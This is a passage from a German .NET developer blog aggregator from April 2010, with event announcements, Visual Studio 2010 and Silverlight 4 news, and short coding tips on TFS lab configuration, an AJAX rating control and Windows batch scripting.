  • Webcam und Mikrofon Unterstützung erlauben das Senden von Video und Audio in Anwendungen wie zu Beispiel Chat oder Kundenservice. Lokale Aufnahme von Audio und Video erlaubt es Ihnen, Video aufzunehmen, ohne dass ein Server benötigt wird. Hiermit eröffnen sich neue Möglichkeiten wie die Aufnahme von Stimmnachrichten oder Video, um sie dann per E-Mail zu versenden, oder die Möglichkeit, das Video lokal zu editieren bevor es gespeichert wird.

DreamSpark Student Challenge: Mehr Geld für Pizza!

16.04.2010 13:29:50 | Oliver Scheer

480x325_Dreamspark_flap_blau Studiengebühren, Miete, Bücher, Kaffee und Pizza – das Studentenleben ist nicht günstig.
Um den Studenten das Studentenleben etwas zu vereinfachen, können Studenten jetzt bei der DreamSpark Student Challenge Bargeld als Preis gewinnen. Unter dem Motto „Mehr Geld für Pizza“ verlost das DreamSpark-Team alle 2 Wochen 250€ und hilft den Studenten so, ihr Studium, ihr Bücher oder einfach ihre Pizza zu finanzieren! :-)
Und das 4 Monate lang! Das Beste: die Studenten können alle zwei Wochen wieder mitmachen und haben somit 8x die Chance auf 250€.

Los geht’s mit der Fan-Challenge:
Die Aufgabe: Einfach bis zum 02. Mai Follower der Microsoft Student Partner auf Twitter werden. Schon nehmen die Studenten an der Verlosung der ersten 250€ teil.

Weitere Informationen gibt es auf www.microsoft.de/dreamspark

TechTalk Juni 2010: MSDN TechTalk: App geht's! Einsteigen in die Windows Phone 7-Entwicklung

16.04.2010 13:25:47 | Oliver Scheer

Ein Thema, zwei Experten, fünf Termine: Im Juni geht der MSDN TechTalk wieder auf seine Tour durch fünf deutsche Städte. Die beiden Referenten Frank Prengel und Oliver Scheer widmen sich dabei ganz dem Thema "Entwicklung für Windows Phone 7".

Microsoft definiert seine mobile Smartphone-Plattform neu: Windows Phone 7 legt mit neuen Bedienkonzepten, Diensten und Szenarien den Schwerpunkt auf User Experience und Performance – und auf coole, innovative Anwendungen und Games. Die Basis dafür liefert eine völlig neue Anwendungsplattform aus .NET, Silverlight und XNA - dazu gibt es kostenlose Tools für alle.

Wie diese verwendet werden und was es beim Einstieg in die Entwicklung für die neue Plattform zu wissen und zu beachten gibt, vermittelt dieser TechTalk – auch für Besucher, die bislang noch nichts mit „mobiler“ Entwicklung zu tun hatten.

Denn bei Windows Phone 7 ist aller Anfang leicht!

Daten/Locations:

  • 7. Juni 2010; München
  • 8. Juni 2010; Köln
  • 9. Juni 2010; Hamburg
  • 10. Juni 2010; Berlin
  • 15. Juni 2010; Karlsruhe

http://www.microsoft.com/germany/msdn/techtalk/WindowsPhone7.mspx

Microsoft Web Camp: Make web, not War! Anmeldephase läuft

16.04.2010 13:12:47 | Oliver Scheer

image

Microsoft tourt im Mai und Juni mit seinen Web Camps um die ganze Welt. Neben Metropolen wie Moskau, Sydney, Peking, London und New York, wird die Web Camp-Reihe auch am 7. und 8. Juni in München halt machen. 

Die kostenlose Veranstaltung richtet sich an alle Arten von Webentwickler und stellt die neuesten Microsoft-Technologien in Sachen Webentwicklung detailliert vor.

Mehr Informationen gibt es unter http://www.webcamps.ms/

Jobwechsel: Vom Developer Evangelist zum Microsoft Student Partner Lead

16.04.2010 10:55:45 | Jan Schenk

Seit gestern ist es offiziell, ich lasse den Developer Evangelist hinter mir und nehme eine neue Chance innerhalb Microsofts wahr: ab 15. April 2010 bin ich Academic Evangelist, Academic Relations Manager (ARM) und Microsoft Student Partner Lead (MSP Lead). “Gleich drei Rollen auf einmal? Das geht nun wirklich nicht!” mag der ein oder andere denken. Aber im Grunde ist das alles der gleiche Job und beschreibt nur, welche Richtung die Ausprägung hat.

Academic Evangelist oder Academic Developer Evangelist:
Ich bleibe weiterhin Evangelist, also jemand, der die frohe Botschaft verbreiten darf. Jetzt aber im studentischen Umfeld. Dort zwar auch bei der Entwicklerzielgruppe, aber eben auch ITPros, Architekten und weniger technisch orientierte Studenten.

Academic Relations Manager:
So heissen alle bei uns im Academia-Team. Sagt ziemlich wenig aus über das was ich tue, wie ich finde, aber dafür gibts ja noch die zwei anderen Titel Wink.

Microsoft Student Partner Lead:
Das ist der größte Teil des Jobs. Lead ist eine Führungsposition, muss aber nicht unbedingt Personalverantwortung mit sich bringen. In meinem Fall aber schon, denn das Student Partner Program ist hierarchisch geordnet. Es gibt Junior Student Partner (JSPs), Student Partners (SPs), Expert Student Partners (ESPs) und Senior Student Partners (SSPs), wobei die SSPs direkt an mich berichten und auch ein Anstellungsverhältnis mit Microsoft Deutschland haben. Ich habe also, wie in den alten Zeiten, wieder eine Schäfchenherde, um die ich mich kümmern kann!

Der Wechsel kam sehr rasch und überraschend, nicht nur für mich, auch für meine Kollegen und die Student Partner. Jürgen Wirtgen, der den Job vor mir gemacht hat, wechselt innerhalb von Microsoft zurück ins Business-2-Business Geschäft, allerdings nicht ganz ohne den ein oder anderen Kampf mit sich selbst ausgetragen zu haben. Es fiel ihm nicht ganz leicht.

Umso leichter fiel es mir, zu dem Angebot meines Managers ja zu sagen, denn diese Chance wollte ich mir auf keinen Fall entgehen lassen. Mit Studenten zusammen zu arbeiten bedeutet zwar nicht immer einen einfachen Job, aber auf jeden Fall viel Spass, Engagement und Herzblut. Genau das erwarte ich von allen Programmteilnehmern und genau das bin auch ich bereit zu liefern. Ich bin mir sicher, dass es funktionieren wird.

Wer jetz noch fragen hat, auch zu meiner alten Rolle als Developer Evangelist, nur zu, ich bin gespannt und bereit!

Die BASTA! geht auf Tour

16.04.2010 10:44:00 | Jörg Neumann

Vom 18.-19. Mai findet in München die erste BASTA! ON TOUR unter dem Motto “Architecture & Good Practices” statt.

Das neue Tochterevent der BASTA! legt seinen thematischen Schwerpunkt auf .NET-Architekturen. In zwei Tracks, neun Sessions, vier Workshops und einer Keynote  profitieren Sie vom geballten Wissen und der Praxiserfahrung von mehreren der bekanntesten Architektur-Profis der .NET-Welt.

Ich konzentriere mich in meinen Sessions (wen wundert’s) auf die Clientseite:

Darüber hinaus bestreite ich unter dem Titel “Desktop-Anwendungen mit WPF 4.0” einen ganztägigen Workshop am 9. Mai.

Vielleicht sieht man sich ja :)

basta-on-tour2

DreamSpark Student Challenge: Mehr Geld für Pizza!

16.04.2010 10:24:27 | Jan Schenk

480x325_Dreamspark_flap_blau

Studiengebühren, Miete, Bücher, Kaffee und Pizza – das Studentenleben ist nicht günstig.
Um den Studenten das Studentenleben etwas zu vereinfachen, können Studenten jetzt bei der DreamSpark Student Challenge Bargeld als Preis gewinnen. Unter dem Motto „Mehr Geld für Pizza“ verlost das DreamSpark-Team alle 2 Wochen 250€ und hilft den Studenten so, ihr Studium, ihr Bücher oder einfach ihre Pizza zu finanzieren! :-)
Und das 4 Monate lang! Das Beste: die Studenten können alle zwei Wochen wieder mitmachen und haben somit 8x die Chance auf 250€.

Los geht’s mit der Fan-Challenge:
Die Aufgabe: Einfach bis zum 02. Mai Follower der Microsoft Student Partner auf Twitter werden. Schon nehmen die Studenten an der Verlosung der ersten 250€ teil.

Weitere Informationen gibt es auf www.microsoft.de/dreamspark

Angekündigt: Feature Pack für die Visual Studio 2010 Visualization and Modeling Tools

16.04.2010 09:20:00 | Christian Binder

Cameron Skinner hat auf seinem Blog nun das Feature Pack für die Visual Studio 2010 Visualization and Modeling Tools angekündigt :-)
Es sind wirklich einige wichtige und notwendige  Erweiterungen dabei:

  1. Increased Visualization Support
    1. Visualize your native ( C++ ) code
    2. Visualize your WAP or Web Sites or ASP.NET MVC code
  2. Increased UML support
    1. Code Generation from UML Class diagram
    2. Rapid population of Modeling Store from Architecture Explorer
    3. XMI 2.1 Import
    4. Work Item to Model Element Back linking. :-)
  3. Increased support for Layer Diagram Extensibility

Details gibt’s Hier

Chris

Visual Studio 2010 Webcasts und Quick Hits Links

16.04.2010 08:31:00 | Oliver Scheer

Pünktlich zur Verfügbarkeit von Visual Studio 2010 haben wir eine ganze Reihe an hilfreichen Webcasts und Links zusammengestellt.

IDE Quick Hits

VS 2010 Quick Hit: Multi-Line Editing

VS 2010 Quick Hit: Intellisense

VS 2010 Quick Hit: Generate from Usage

VS 2010 Quick Hit: Multi-Targeting

VS 2010 Quick Hit: Navigate To

VS 2010 Quick Hit: Extension Manager

VS 2010 Quick Hit: Exportable Breakpoints

Webcasts

Überblick

Visual Studio 2010 & .NET Framework 4 - Highlights

Anwendungsentwicklung mit Visual Studio 2010

Application Development mit Visual Studio 2010 (Teil 1 von 5) - Agile Software Development mit VS 2010

Application Development mit Visual Studio 2010 (Teil 2 von 5) - Entwicklung einer Windows Forms Anwendung mit VS 2010

Application Development mit Visual Studio 2010 (Teil 3 von 5) - Testing der Windows Forms Anwendung mit VS 2010

Application Development mit Visual Studio 2010 (Teil 4 von 5) - Erweiterung der Anwendung mit dem ASP.NET MVC 2, WF 4 und EF 4 (Part 1)

Application Development mit Visual Studio 2010 (Teil 5 von 5) - Erweiterung der Anwendung mit dem ASP.NET MVC 2, WF 4 und EF 4 (Part 2)

IDE

Visual Studio 2010 - Die Entwicklungsumgebung

Sprachen

C# 4.0 - Neues im Überblick

Neue Features in Visual Basic 2010 - Intellisense, Interop & mehr?

VS 2010 und C++ - Was gibt es Neues?

Die Dynamic Language Runtime - Dynamische Sprachen auf .NET

IronPython im Überblick - Python-Programmierung auf dem Microsoft .NET Framework

Frameworks

Managed Extensibility Framework - Eine Einführung

Windows Workflow 4 - Die Neuerungen

Parallele Programmierung mit .NET 4.0 - Neue Methoden zur Multikern-Programmierung

Neuheiten in ASP.NET 4.0 - Teil 1 - Neue Funktionen in den ASP.NET-Kerndiensten und neue Serversteuerelemente

Neuheiten in ASP.NET 4.0 - Teil 2 - Clientseitige Datenbindung mit ASP.NET AJAX, Verbesserungen der Steuerelemente und neue Funktion der IDE

ASP.NET MVC 2 - Eine Einführung

ASP.NET AJAX - Microsoft AJAX und das .NET Framework 4.0

Ribbon- und Backstage-Programmierung mit Visual Studio 2010 und Office 2010 - User Interface Integration in Office 2010 mit C# 4.0

MFC mit Visual Studio 2010 - Der Ribbon-Designer

Entity Framework 4 - Was ist neu?

WCF Data Services 1.5 - Was ist neu?

Team Foundation Server (Basic Installation)

Team Foundation Server 2010 für Einsteiger und kleine Teams (Teil 1 von 2) - TFS 2010 auf Windows 7 installieren bis zum ersten Check-In

Team Foundation Server 2010 für Einsteiger und kleine Teams (Teil 2 von 2) - Team Build und Version Control Branches einfach gemacht

Auto-Increment for InfoPath repeating tables/sections

15.04.2010 23:59:00 | Ozgur Aytekin

When creating a InfoPath forms to collect business application data, it is often required to use an auto-increment (auto indexing) behavior for auto numbering different data in the form. This is a very common and useful when implementing a repeating table and/or repeating section in order to index the rows in the repeating table or the repeating sections, correspondingly.

http://blogs.microsoft.co.il/blogs/yanivl/archive/2008/01/09/auto-increment-for-infopath-repeating-tables-sections.aspx

Silverlight 4 Final Release

15.04.2010 19:25:37 | Damir Tomicic

Kaum ein paar Tage nach der Vorstellung auf der DevConnections-Konferenz in Las Vegas ist die finale Silverlight 4 Version auch online bereitgestellt worden. Folgendes steht unter [1] zum kostenlosen Download:

  • Silverlight 4 Runtime/SDK (Final Release)
  • Silverlight 4 Toolkit April 2010 (Final Release)
  • Silverlight Tools for VS2010 (Release Candidate)
  • Expression Blend 4 (Release Candidate)

[1] http://silverlight.net/getstarted
[2] http://timheuer.com/blog/archive/2010/04/15/download-silverlight-4-released.aspx

[Update] Silverlight Client for Facebook ist nun auch auf dem aktuellen Stand mit der RTW Version. Falls bereits mit RC installiert zuerst deinstallieren und dann einfach hier erneut installieren:

[3] http://www.silverlight.net/content/samples/apps/facebookclient/

Freischalten der VS2010 / TFS2010 Trial Version für MSDN Abonnenten

14.04.2010 23:20:36 | Thomas Schissler

Wer sich eine Trial-Version von Visual Studio 2010 oder Team Foundation Server 2010 installiert benötigt einen Key um diese freizuschalten. Wer nun über eine MSDN-Subscription verfügt, kann sich die Vollversion dort herunterladen, jedoch man bekommt keinen Key. Nun kann man entweder neu installieren oder man greift zu einem kleinen Trick:

  1. ISO-File vom MSDN herunterladen
  2. Im ISO-Image nach der Datei setup.sdb suchen
  3. Die Datei mit einem Texteditor öffnen
  4. Der Key steht unter dem Eintrag [Product Key] und kann von hier einfach in das Registrierungsformular übertragen werden. Dazu im TFS einfach die Admin-Console öffnen und im Visual Studio unter Help / Register Product aufrufen

Update:

Inzwischen hatte MS ein Einsehen und die Keys bei den MSDN Subscriber Downloads veröffentlicht :-)

NameValueConfigurationCollection.ToDictionary()

14.04.2010 21:41:55 | Matthias Friedrich

In einem vorangegangenem Post habe ich eine Extension vorgestellt, die eine ConfigurationElementCollection in ein IEnumerable<T> umwandelt. Darauf aufbauend stelle ich hier eine eine weitere Erweiterungsmethode vor, die eine NameValueConfigurationCollection in ein Dictionary umwandelt. Meine erste Implementierung erzeugt aus der NameValueConfigurationCollection ein Dictionary<string, string>, was mir am gebräuchlichsten erscheint. Denkbar ist allerdings auch eine Variante, die [...]

Silverlight 3: Add wheel mouse support for ScrollViewer

14.04.2010 21:18:00 | Patric Schouler

Das Silverlight 3 ScrollViewer-Control unterstützt ja standardmäßig nicht das Mausrad (ein Kollege meinte: Weil die Microsoft Entwickler noch die alten Microsoft-Mäuse verwenden).

Dieses Problem lässt sich aber durch die Verwendung des Silverlight Toolkit folgendermaßen auf einfache Art und Weise lösen:

(1) Verweis auf das Toolkit-Assembly im  XAML

xmlns:toolkit="clr-namespace:System.Windows.Controls;assembly=System.Windows.Controls.Toolkit"

(2) Nach dem InitializeComponent die SetIsMouseWheelScrollingEnabled aufrufen
   1: InitializeComponent();
   2: ContentScrollViewer.SetIsMouseWheelScrollingEnabled(true);

20.04.10 Treffen der .NET Developer Group Braunschweig – Windows 7 für Entwickler

14.04.2010 13:53:00 | Lars Keller

Unser 44 User Group Treffen findet am 20.04.2010 um 19:00 in dem Restaurant Zucker statt.

Dieses Mal kommt uns der Microsoft Program Manager Peter Kirchner mit dem Vortrag “Windows 7 für Entwickler” besuchen. Dieses Event ist der Auftakt einer User Group Tour, welche von Microsoft und der INETA Deutschland zusammen organisiert wurde. Kay hat in seinem Blog weitere Details zur Tour aufgeschrieben. Dort könnt ihr erfahren, welche Städte noch folgen und Kay hat auch verraten, dass es eine Windows 7 Lizenz zum Verlosen gibt. :-)

Details zum Vortrag:

Der Hauptfokus bei Windows 7 wurde auf die weitere Verbesserung der Sicherheit, Zuverlässigkeit und Performance des Betriebssystems gelegt - und auf die größtmögliche Kompatibilität zu Windows Vista , damit bereits bestehende Anwendungen auch in Zukunft laufen. Für Entwickler bietet Windows 7 viele neue Schnittstellen, um Anwendungen mit umfassenderen Funktionen zu versehen, die dem Endbenutzer eine neue Erfahrung im Umgang mit Software ermöglichen.
In diesem Vortrag erfahren Sie, wie Sie sich nahtlos ins Betriebssystem integrieren, indem Sie z.B. die neue Taskbar nutzen, die Preview-Ansichten steuern, Status-Informationen ausgegeben oder die Sprunglisten nach Ihren Wünschen anpassen. Wir demonstrieren u.a. die Verwendung der in Windows 7 eingeführten Bibliotheken, um den Zugriff auf Dokumente Ihrer Anwendung zu vereinfachen und auch die neuen Multitouch-Funktionen, die eine neue Interaktion zwischen Mensch und System ermöglichen.
Zusätzlich erfahren Sie, welche Punkte zu beachten sind, um die Kompatibilität Ihrer Anwendung mit Windows 7 sicher zu stellen, wenn diese bereits auf Windows XP oder Windows Vista laufen.

Peter Kirchner ist  Program Manager für Softwarehersteller in der Developer Platform & Strategy Group bei der Microsoft Deutschland GmbH. Sein Aufgabenbereich umfasst die Bereitstellung der lokalen technischen Informationsangebote für Softwarehersteller mit der Spezialisierung auf Technologieführung und -auswahl sowie im speziellen Anwendungskompatibilität im Windows-Client-Bereich. Vor seinem Einstieg bei Microsoft 2008 war Peter Kirchner im Bereich der SharePoint-Entwicklung und -Anpassung im Kundenprojektgeschäft tätig.

Wie immer ist dieses Event kostenlos und jeder .NET Interessierte ist herzlich willkommen!

Weitere Informationen zur DNUG Braunschweig findest du hier.

Freie Visual Studio 2010 Trainings

14.04.2010 13:01:45 | Peter Kirchner

Am Montag war der Start der neuen Version von Visual Studio. Schon jetzt gibt es Trainings für Sie, um dieses neue Produkt besser kennen zu lernen. Eines solcher Angebote finden Sie bei AppDev (in Englisch). Schauen Sie doch mal rein!

Hier ein Auszug aus dem Inhalt:

Your free Visual Studio 2010 training includes these courses and topics...

Exploring Visual Studio 2010 Using Visual Basic or Visual C#  (full course)

  • Investigate new language features and see the benefits of the new WPF-based IDE.
  • Learn about many of the new ASP.NET Web Forms features.
  • See how the all-new Workflow 4.0 works and get started learning its features.
  • Create services using the new features in WCF.
  • Drill into new WPF features, focusing on new controls, data binding and more.
  • Create Silverlight applications using the new designer built into Visual Studio 2010.
  • Incorporate Office 2010 features into .NET applications, focusing on SharePoint 2010.

Exploring Visual Studio 2010 ALM Tools  (4 out of 8 modules)

  • See the new features of Visual Studio 2010 for Application Lifecycle Management (ALM)
  • Understand about Team System and Excel Reports as well as Ad-hoc reporting.
  • Then move on to Version Control with Team Foundation Server version control concepts
  • Learn about Microsoft Test and Lab Manager for test plans for both manual and automated testing.

Hier geht’s zu den Trainings: http://launchoffer.appdev.com/

Testversionen von Visual Studio 2010 können Sie hier finden: http://www.microsoft.com/germany/visualstudio/try/download.aspx

Visual Studio 2010 Roadshow : Präsentationen zum Download

14.04.2010 12:32:54 | Christian Binder

Der Auftakt in Neuss war mir ca. 300 Personen sehr gut besucht und ich glaube wir hatten alle eine Menge Spass :-) Hier einige Eindrücke.

Visual Studio 2010 Roadshow Visual Studio 2010 Roadshow Team

Visual Studio 2010 Roadshow Visual Studio 2010 Roadshow 

Dariusz und Bernhard voll dabei :-)

 Visual Studio 2010 Roadshow Dariusz Visual Studio 2010 Roadshow Bernhard

Mario Deillmann (Intel) hat das Thema Parallele Programmierung für C++ Entwickler mit OpenMP gezeigt:

Visual Studio 2010 Roadshow Mario

Aufgrund der Nachfragen hier schon mal der Link zu meiner abschießenden Session
Team Foundation Server 2010 für kleinste Teams, sonst gab’s ja fast keine Slides :-)

Und natürlich Uwe’s Einführungs Deck, welches alles rund ums Thema Produktänderungen und Was Wo drin ist enthält.

Chris

Want to use Dynamic Dependency Properties in WPF XAML?

14.04.2010 10:00:00 | Jens Peter Kleinau

in German: "Dynamische Semmel zum Frühstück gefällig?" by Nikolay Nikolov Let's first mention the motivation: I wanted to allow the following XAML fragment <Window xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"     xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"    ...

[[ This is a content summary only. Visit my website for full links, other content, and more! ]]

msdn tv - Nachrichten für Entwickler (Ausgabe 06/2010)

14.04.2010 09:34:23 | Jan Schenk

Get Microsoft Silverlight

Zweite Folge des MSDN-Entwicklerfernsehens im April und gleich zu Anfang eine gute Nachricht für alle, die beim „msdn tv“-Beitrag vom 1. April den nötigen Ernst vermissten: wir können auch anders!
Studiogast bei Jan Schenk ist diesmal Sascha Wolter – seines Zeichens Flash-Fachmann, Silverlight-Experte, freiberuflicher Berater, Autor, Trainer, Entwickler, Software-Architekt und engagierter Community-Aktivist, u.a. als Gründer von „flashforum.de“. „Multiple Persönlichkeit – Schicksal oder Chance“ würde angesichts so vielfältiger Betätigungsfelder die Sendung wahrscheinlich bei den Kollegen im Privatfernsehen heißen, immer auf der Suche nach einer billigen Pointe. Nicht so bei msdn tv, dem allzeit hochseriösen TV-Format für Microsoft-Entwickler: Hier dreht sich diesmal alles ums Thema „Rich Media Applications“. Und das kennt unser Gast Sascha Wolter aus dem effeff – sowohl von der Silverlight-Seite als auch von der Flash-Front.
In den Kurznachrichten: Infos zur Entwicklungsplattform für Windows Phone 7 Series, zur Testumgebung für den Internet Explorer 9 sowie Tipps für einen gemütlichen Fernsehabend mit Videos von den Infodays rund um die ‚SharePoint 2010‘-Entwicklung und Entwickler-Vorträgen von der CeBIT. Außerdem gibt’s noch zwei aktuelle Veranstaltungstipps: zur xtopia-Roadshow, die ab 19. April auf Tour geht und zum Launchevent anlässlich der Markteinführung des SQL Server 2008 R2 am 21. April.

Artikel-Wettbewerb im dotnet-forum.de

13.04.2010 23:22:23 | Jan Welker

Anlässlich des Releases von .NET 4.0 und dem Visual Studio 2010 veranstaltet das dotnet-forum.de einen Artikel-Wettbewerb.

Alle Artikel die vom 15. April 2010 bis zum 31. Mai 2010 in der KnowledgeBase des Forums veröffentlicht werden, nehmen am Wettbewerb teil.

Das Team des Forums wird die Artikel bewerten und die Gewinner küren. Gesucht werden Artikel zu den Themen .NET 4.0, Visual Studio 2010, SharePoint 2010 und Powershell 2. Artikel zu anderen aktuellen Technologien wie zum Beispiel Windows Phone 7 sind natürlich ebenfalls gern gesehen.
Es winken attraktive Preise wie zum Bespiel ein Windows 7 Ultimate (NFR) oder eine Resharper Lizenz.

Zum Artikel-Wettbewerb

Fehler im Lab Management beim Deployment einer Environment

13.04.2010 17:12:44 | Thomas Schissler

Beim Deployment einer Environment auf meinen Host bekam ich den Fehler TF259115:

clip_image002

Speicher war eigentlich genug frei auf meinem Host und so war ich zunächst erstaunt, warum er das nicht deployen wollte. Des Rätsels Lösung liegt darin, dass die Placement Policy standardmäßig auf “Conservative” eingestellt ist. Das bedeutet, dass der Host beim Deployment den Speicherbedarf aller VMs auf dem Host ermittelt, unabhängig davon ob diese gestartet sind oder nicht. Im Betrieb könnten ja dann alle gleichzeitig gestartet werden was dann zu Problemen führt. D.h. im Idealfall hat man immer soviel Ressourcen, dass alle Environments die deployed sind gleichzeitig laufen können, momentan nicht benötigte Environments werden in der Library abgelegt.

Da ich aber auf meinem Demo-Notebook nicht soviel Speicher habe und dabei nie alle Environments gleichzeitig laufen sollen, wollte ich diese Limitierung umgehen. Dies kann man erreichen, indem man die Placement Policy auf Aggresive stellt. Dies erreicht man am besten durch einen TFSConfig-Aufruf:

TfsConfig Lab /hostgroup /CollectionName:labcollection /Edit /Name:"All Hosts"
/LabEnvironmentPlacementPolicy:Aggressive

Logging sent to file C:\ProgramData\Microsoft\Team Foundation\Server Configuration\Logs\CFG_SET_URL_0413_225508.log
Command: lab
TfsConfig - Team Foundation Server Configuration Tool
Copyright (c) Microsoft Corporation. All rights reserved.
Are you sure you want to update the settings for this host group ? (Yes/No) y
The requested changes were successfully applied.

Die TFSConfig findet befindet sich im Pfad C:\Program Files\Microsoft Team Foundation Server 2010\Tools

Weitere Infos unter http://msdn.microsoft.com/en-us/library/dd547199(VS.100).aspx

T-SQL Syntax Commands Examples

13.04.2010 13:28:00 | Andreas Mehl

[ParseChildren(true)]
public partial class WebUserControl : System.Web.UI.UserControl
{
    private ITemplate _title;

    [PersistenceMode(PersistenceMode.InnerProperty), 
    TemplateContainer(typeof(TemplateControl))]
    public ITemplate FirstLevelInnerString
    {
        get { return _title; }
        set { _title = value; }
    }

    [PersistenceMode(PersistenceMode.InnerProperty)]
    public string SecondLevelInnerString
    {
        set
        {
            this.litSecondLevelInnerString.Text = value + 
                " SecondLevelInnerString";
        }
    }

    protected void Page_Load(object sender, EventArgs e)
    {

    }

    protected override void OnInit(EventArgs e)
    {
        base.OnInit(e);
        if (_title != null)
        {
            _title.InstantiateIn(Title);
        }
    }
}

Thats it!

Now you can use Server Contols in PersistenceMode.InnerProperty Mode.

AjaxControlToolkit RatingExtender

13.04.2010 12:15:21 | Daniel Schädler

Kleines aber feines Beispiel wie ich den Ratingextender für das Auslesen von bereits bewerteten Sachen verwenden kann. Hier ist eine Simple Buch Klasse mit Namen des Buches und des bereits gegebenen Ratings.

   1: <%@ Page Language="C#" AutoEventWireup="true" CodeBehind="Default.aspx.cs" Inherits="WebApplication2._Default" %>
   2:  
   3: <%@ Register Assembly="AjaxControlToolkit" Namespace="AjaxControlToolkit" TagPrefix="cc1" %>
   4:  
   5: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
   6:  
   7: <html xmlns="http://www.w3.org/1999/xhtml" >
   8: <head runat="server">
   9:     <title></title>
  10:     <style>
  11:         .rating_star  
  12:          {  
  13:              font-size: 0pt;  
  14:              width: 13px;  
  15:              height: 12px;  
  16:              margin: 0px;  
  17:              padding: 0px;  
  18:              cursor: pointer;  
  19:              display: block;  
  20:              background-repeat: no-repeat;  
  21:          }  
  22:          .rating_filled   
  23:          {  
  24:              background-image: url(Images/star.png);  
  25:          }  
  26:          .rating_empty   
  27:          {  
  28:              background-image: url(Images/blankstar.png);  
  29:          } 
  30:     </style>
  31: </head>
  32: <body>
  33:     <form id="form1" runat="server">
  34:     <asp:ScriptManager ID="ScrMgr" runat="server"></asp:ScriptManager>
  35:     <div>
  36:         <asp:DataList ID="DataList1" runat="server">
  37:         <ItemTemplate>
  38:         <table>
  39:         <tr>
  40:         <td>
  41:         <asp:TextBox ID="ItemTextBox" runat="server" Text='<% #Eval("Name") %>'></asp:TextBox>
  42:         </td>
  43:         <td>
  44:             <cc1:Rating ID="Rating1" runat="server"
  45:                         AutoPostBack="false" 
  46:                         StarCssClass="rating_star" 
  47:                         EmptyStarCssClass="rating_empty" 
  48:                         FilledStarCssClass="rating_filled" 
  49:                         WaitingStarCssClass="rating_filled"
  50:                         CurrentRating='<% #Eval("Rating") %>' ReadOnly="true">
  51:             </cc1:Rating>
  52:         </td>
  53:         </tr>
  54:         </table>
  55:         </ItemTemplate>
  56:         </asp:DataList>
  57:     </div>
  58:     </form>
  59: </body>
  60: </html>

Hier noch die Codebehind

   1: using System;
   2: using System.Collections.Generic;
   3: using System.Linq;
   4: using System.Web;
   5: using System.Web.UI;
   6: using System.Web.UI.WebControls;
   7:  
   8: namespace WebApplication2
   9: {
  10:     public partial class _Default : System.Web.UI.Page
  11:     {
  12:         protected void Page_Load(object sender, EventArgs e)
  13:         {
  14:             IList<Book> books = new List<Book>();
  15:  
  16:             for (int i = 0; i < 10; i++)
  17:             {
  18:                 Random randomRating = new Random();
  19:                 int rating = randomRating.Next(0, 4);
  20:  
  21:                 books.Add(new Book()
  22:                 {
  23:                     Name = string.Format(@"Buch {0}", i.ToString()),
  24:                     Rating = rating
  25:                 });
  26:             }
  27:  
  28:             DataList1.DataSource = books;
  29:             DataList1.DataBind();
  30:         }
  31:     }
  32:  
  33:     public class Book
  34:     {
  35:         public string Name
  36:         {
  37:             get;
  38:             set;
  39:         }
  40:  
  41:         public int Rating
  42:         {
  43:             get;
  44:             set;
  45:         }
  46:     }
  47: }

So einfach kann man die Bewertung darstellen.

AjaxControlToolkit RatingExtender

13.04.2010 11:15:21 | Daniel Schädler

Kleines aber feines Beispiel wie ich den Ratingextender für das Auslesen von bereits bewerteten Sachen verwenden kann. Hier ist eine Simple Buch Klasse mit Namen des Buches und des bereits gegebenen Ratings. 1: <%@ Page Language="C#" AutoEventWireup="true" CodeBehind="Default.aspx.cs" Inherits="WebApplication2._Default" %> 2:  3: <%@ Register Assembly="AjaxControlToolkit" Namespace="AjaxControlToolkit" TagPrefix="cc1" %> 4:  5: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML [...]

Windows Batch - Tricks

13.04.2010 10:19:00 | Timo Rehl

Ich habe zwecks einem Lasttest ein Batch Programm geschrieben, das dauerhaft ein Testtool mit Zufallsabfragen angeschmissen hat und dann ein Ergebnis auswertet und dieses in einer CSV Datei protokolliert. Dabei bin ich auf folgende Stolpersteine gestossen:
  1. Zufallszahlen in einer Schleife
  2. Ausgabe von Text in einer Datei ohne Zeilenumbruch
  3. Ermitteln von Dateigrößen
  4. In Aufrufverzeichnis wechseln (und wieder zurück)
1. Zufallszahlen in einer Schleife:

Ich habe festgestellt, dass Zufallszahlen, die in einer Schleife erzeugt werden, z.B. so:
FOR /L %%i in (1,1,5) DO (
    SET /A rnd=10*%random%/32768
    ECHO Zahl: %rnd%
)

immer wieder die gleiche Zahl liefern, also nicht wirklich zufällig Stick out tongue

Lösung:
Man muss einen Zwischenaufruf tätigen, sozusagen einen neuen Call-Stack aufbauen lassen, dann wird wirklich immer wieder eine neue Zufallszahl erzeugt (meiner Ansicht nach nicht sehr plausibel, aber wenns dann funktioniert):
FOR /L %%i in (1,1,5) DO (
    CALL :ZWISCHENCALL
)
GOTO :EOF

:ZWISCHENCALL
    SET /A rnd=10*%random%/32768
    ECHO Zahl: %rnd%
GOTO :EOF


2. Ausgabe von Text in einer Datei ohne Zeilenumbruch:

Diese Anforderung war meines Erachtens schon schwierig umzusetzen, ich habe auch lange dafür im Netz suchen müssen, bis ich zum gewünschten Ergebnis kam. Ich hätte ja gerne Zwischenschritte als CSV in einer Datei protokolliert, jedoch um eine komfortable Auswertung z.B. mit Excel zu haben, kann dann nicht nach jeder Ausgabe ein Zeilenumbruch erfolgen.
Ein simples "ECHO" erzeugt immer einen Zeilenumbruch!

Lösung:
set /p =TextToDumpIntoFile;<nul>> Result.csv


Hier muss noch ein bischen Erklärung hinzu: ein "set /p" ist eine Benutzereingabeaufforderung ("/p" für prompt), in herkömmlicher Benutzung ist dann normalerweise das "set" so verwendet, dass die Benutzereingabe in einer Variablen gespeichert wird:
set /p %%userinput=Bitte Text eingeben:

In der obigen Lösung wird die Variable weggelassen (ja das geht!), und gleichzeitig die Usereingabe durch das "<nul" vorbestimmt. Übrig bleibt also der Prompt-Text (hier:"TextToDumpIntoFile;") welcher durch die herkömmliche Umleitung ">>Result.csv" an die Datei angehängt wird.
Sehr strange, aber auch das funktioniert ;-)

3. Ermitteln von Dateigrößen:

Hier kann mit einer For-Schleife gearbeitet werden (auch wenn nur eine Datei letztendlich interessant ist). Ich kann das nicht im vollen Umfang erklären, ich habe die Lösung bereits fertig im Netz gefunden:

Lösung:
for /f "delims=" %%i in ('dir FileToCheck.txt /s /B') do (
    if !%%~zi!==!1396! (
        REM Do whatever you want
    )
)


